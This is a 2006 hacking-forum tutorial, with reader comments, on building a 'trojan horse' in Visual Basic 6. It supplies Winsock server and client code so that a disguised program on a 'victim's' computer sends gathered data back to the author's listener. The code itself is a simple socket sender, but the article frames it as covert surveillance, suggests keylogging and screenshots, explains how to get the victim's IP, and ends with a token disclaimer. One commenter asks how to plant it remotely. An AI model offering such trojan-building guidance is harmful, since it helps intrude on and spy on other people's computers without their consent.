Follow us on Twitter!
Society leans ever heavily on computers, if you have the power to take out computers you can take out society. - cubeman372
Thursday, April 24, 2014
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Members Online
Total Online: 28
Guests Online: 24
Members Online: 4

Registered Members: 82894
Newest Member: Ricardox
Latest Articles

Trojan/Winsock in VB

Arrow Image Sorry if another article like that exists, but i wrote that for another website, and thought i'd upload it here too..

Okay i just got bored, so thought i'd write an article about Trojan Horse making in Visual Basic (VB6 to be exact, which is also Visual Basic 98).. I first wrote such a VB trojan when i was 13, so i think this should be pretty simple..

A. What's a trojan horse
B. What we're gonna be using
C. The Code
-1.Server application
--2.Client application
D. Legal shit

A. What's a trojan horse
First of all you might ask: "What the hell is a trojan horse? is this programming or horseback riding ??" Well, if you know some history, or if you've seen the movie "Troy", you'll know the story of the big wooden horse that was filled with soldiers, and offered as a peace treaty and a gift, and when the town accepted it, at night, the soldiers sneaked out of it through a "backdoor" in it's butt and killed almost everyone in the town..

Well we dont wanna start cutting wood and making horses now do we? So i'll teach you how to do that Trojan on computers, and as you might have guessed, this is usually sent to a victim, and deposited in their computer, it seems to be a simple good application, like a small game you make for them, but secretly, this application gathers data from their computer and sends it directly to you...

I'll just teach you the part of sending the data and recieving it... So this is more like a winsock tutorial, but i think that's all you need to get a foothold in the wide trojan world... Some ideas of "info gathering" are like keylogging, taking screenshots every some minutes, knowing what webpages are visited, etc... And later i might write a tutorial about making a keylogger in VB....

PS: The trojan horse we're gonna make with a code as simple as this, IS detectable by MOST firewalls so this is just to give you an idea about how things work.

B. What we're gonna be using
We're gonna use Visual Basic 6 (same as Visual Basic 98) to make our little application. It will be made of two projects.

1_ The server application
This one will be on your computer, this is where you're going to recieve the data the other user sends. To make it, we're gonna use:
a. A listbox
b. A winsock control
c. 2 buttons

2_ The client application
This one will be on your victem's computer, this is the application that will gather the data and send it to your server application.
To make it, we're gonna use:
a. A textbox
b. A winsock control
c. 2 buttons

C. The Code
Now for the good stuff! I'll start with the server application and explain it, and then give the client application, which will be quite self-explanatory...

1.Server application.
The listbox will be used to display the recieved data
The winsock control will connect you to the other computer
The first button will be to input the port and connect
The second button is to close the connection and the program.

_Load up VB6, make a new project (Standard exe)
_Right click in your toolbox, click on "Components", then find "Microsoft Winsock Control 6.0", check it and click Ok. You should now see a new tool in the toolbox.
_Put in the form the items listed above, in a tidy way like
_Make Command2 unvisible (Click on it and find "Visible - True" in the properties window)

*PS: the Winsock will not appear in the form when it's run.
*we will be using Command1 for connecting, and Command2 for closing connection and closing the application. The reason why i didnt change the captions is to make the code clearer.

_Now for the code:

double click on command on, which will open the code window, put this code there:

Private Sub Command1_Click()
Port = InputBox("What port do you want to host on?")
Winsock1.LocalPort = Port
command1.visible = false
command2.visible = true
End Sub

Line2: This gets what port you want to listen on.
Line3: Sets your input as winsock's port.
Line4: Sets winsock to listen to incoming connection.
Line5: Makes command1 invisible.
Line6: Makes command2 visible.
Line1 and Line7 should already be there when you double click.

(B).Winsock control
Double click on its little icon that should be on your form and put this code there:

--Part 1--
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Line1: "ConnectionRequest" means when another application tries to connect to your computer on the port we set in Command1's code.
Line2: This sees if Winsock is closed, "<>" means "different" so if its not closed, "Winsock1.close" will close it.
Line3: This accepts the connection, and now the two computers are connected!

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData Data, vbString, bytesTotal
List1.Additem (data)
End Sub

Line1: "DataArrival" This means that the following code will be manipulation of the recieved data.
Line2: This gets ALL the recieved data, and sets it in a string called "data".
Line3: Adds 'data' to the list.

Double click Command2 in your form editor and add this code:

Private Sub Command2_Click()
End Sub

Line2: This closes the winsock connection.
Line3: Ends the application's process (Closes it)


This concludes the Server application part, to test it, just run the application, set the port "80" (That's the HTTP port, the one you connect to when you surf websites) then in your internet browser, put (Which is your own IP address), something should be added to the listbox, if so, then your server application is working! You're on the right track!!

2.Client application.
I will just give you a screenshot of what the form might look, and the code unexplained, cause the first part explains almost everything, the rest can be easily discovered.
PS: Command2 should be set to invisible.


Private Sub Command1_Click()
IP = InputBox("What IP would you like to connect to?")
Port = InputBox("What port do you want to connect to?")
Winsock1.RemoteHost = IP
Winsock1.RemotePort = Port
Command1.Visible = False
Command2.Visible = True
End Sub
Private Sub Command2_Click()
Winsock1.SendData (Text1.Text)
End Sub
Private Sub Form_Unload(Cancel As Integer)
If Winsock1.State <> sckClosed Then Winsock1.Close
End Sub
Private Sub Winsock1_Connect()
MsgBox "Connection established!"
End Sub

Final Testing:

Compile the two applications into exe files, run the server application and host on any port, then run the client application and connect to (Which is localhost, a.k.a every computer's IP on itself, thats the easiest explanation that can be given, and the quickest) and set the port to the same one you set in the server application. Now put some text in the client application and click the button, it should appear in the other one's listbox...

And if you want to connect to another computer, just put the server application there, and when prompted for the IP in your client application, just put the other person's IP (which you can get from their computer by going to . Yes, there are other ways, but thats the easiest), but not all computers come with winsock installed, if it doesnt work one someone's computer, just download it's runtime files and install it on the computer (You can google for those)


And there you have it! This is something VERY BASIC, yet it took so much space! i hope it explains it and makes it really easy to understand, and this can constitute a solid base in all winsock-related communications.

D.Legal shit.
Well this shouldnt be shit cause its serious: I hold absolutely no responsability for what you might/will do with this information, use it at your own risk, it was written for educational purposes, and any other use will be at your own risk. AGAIN: i hold no responsability whatsoever to what might happen or what you might do.

ice****ed (yep thats me!! And if you want to use this article somewhere else, plz give credit to me!)


system_meltdownon May 03 2006 - 20:24:32
Great article man, that would help a lot of people!
godon May 03 2006 - 20:52:46
thx! i forgot to explain how winsock works ... i'll add that later.. too tired now..
6340on May 03 2006 - 21:03:37
gj...sounds interesting, and i'll be sure to try it, as soon as i figure out how to work
Hackthis59on May 04 2006 - 13:09:54
Hey really good artical will help me alot thxs
willeHon May 04 2006 - 16:22:39
Nice article.
AldarHawkon May 04 2006 - 21:59:19
well written article. now you just need to write about how to inject it onto the victums computer without physical access Wink
BobbyBon May 06 2006 - 11:14:33
I like this article.
H-oLm35on May 23 2006 - 12:42:59
man there are many sites explaining this, why don't you send them to or ?
H-oLm35on May 23 2006 - 12:44:21
ups I'm wrong I gifted you an Awesome - xD i think it will help a lot everyone needs learn VB HD
H-oLm35on May 23 2006 - 12:44:34
godon June 27 2006 - 20:37:27
chislamon August 04 2006 - 06:07:04
man, like everyone else, thanks for the great article, i am quite new to vb, so this was a fun start to vb Grin,gets a 5 / 5
Post Comment


You must have completed the challenge Basic 1 and have 100 points or more, to be able to post.